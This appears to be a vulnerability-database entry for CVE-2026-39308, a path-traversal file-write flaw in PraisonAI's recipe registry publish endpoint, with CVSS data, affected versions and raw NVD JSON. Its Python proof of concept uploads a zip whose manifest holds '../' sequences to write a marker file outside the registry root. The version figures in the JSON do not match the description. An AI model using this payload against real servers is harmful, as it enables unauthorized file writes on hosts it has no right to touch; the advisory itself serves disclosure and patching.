Security Vulnerability Report
中文
CVE-2026-39308 CVSS 7.1 HIGH

CVE-2026-39308

Published: 2026-04-07 17:16:37
Last Modified: 2026-04-16 01:15:58

Description

PraisonAI is a multi-agent teams system. Prior to 1.5.113, PraisonAI's recipe registry publish endpoint writes uploaded recipe bundles to a filesystem path derived from the bundle's internal manifest.json before it verifies that the manifest name and version match the HTTP route. A malicious publisher can place ../ traversal sequences in the bundle manifest and cause the registry server to create files outside the configured registry root even though the request is ultimately rejected with HTTP 400. This is an arbitrary file write / path traversal issue on the registry host. It affects deployments that expose the recipe registry publish flow. If the registry is intentionally run without a token, any network client that can reach the service can trigger it. If a token is configured, any user with publish access can still exploit it. This vulnerability is fixed in 1.5.113.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:* - VULNERABLE
PraisonAI < 1.5.113

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import zipfile import json import io # Target URL TARGET_URL = "http://localhost:8000/api/recipes/publish" # 1. Create a malicious manifest with path traversal manifest = { "name": "malicious-recipe", "version": "1.0.0", # The vulnerability allows writing outside the root via ../ "file_path": "../../../../../tmp/pwned_by_cve.txt" } # 2. Create a zip file (recipe bundle) in memory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('manifest.json', json.dumps(manifest)) zipf.writestr('payload.txt', 'This file was written via path traversal.') zip_buffer.seek(0) # 3. Send the upload request files = {'bundle': ('malicious.zip', zip_buffer, 'application/zip')} # Note: The request might return 400 (Bad Request) due to validation, # but the file write operation happens before this validation. response = requests.post(TARGET_URL, files=files) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if the file was written successfully on the server # (Assuming you have access to check the file system or verify impact) print("Check /tmp/pwned_by_cve.txt on the target server.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39308", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:36.770", "lastModified": "2026-04-16T01:15:57.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 1.5.113, PraisonAI's recipe registry publish endpoint writes uploaded recipe bundles to a filesystem path derived from the bundle's internal manifest.json before it verifies that the manifest name and version match the HTTP route. A malicious publisher can place ../ traversal sequences in the bundle manifest and cause the registry server to create files outside the configured registry root even though the request is ultimately rejected with HTTP 400. This is an arbitrary file write / path traversal issue on the registry host. It affects deployments that expose the recipe registry publish flow. If the registry is intentionally run without a token, any network client that can reach the service can trigger it. If a token is configured, any user with publish access can still exploit it. This vulnerability is fixed in 1.5.113."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.5.112", "matchCriteriaId": "93136744-3972-4DDD-B569-091065F57C0B"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r9x3-wx45-2v7f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r9x3-wx45-2v7f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}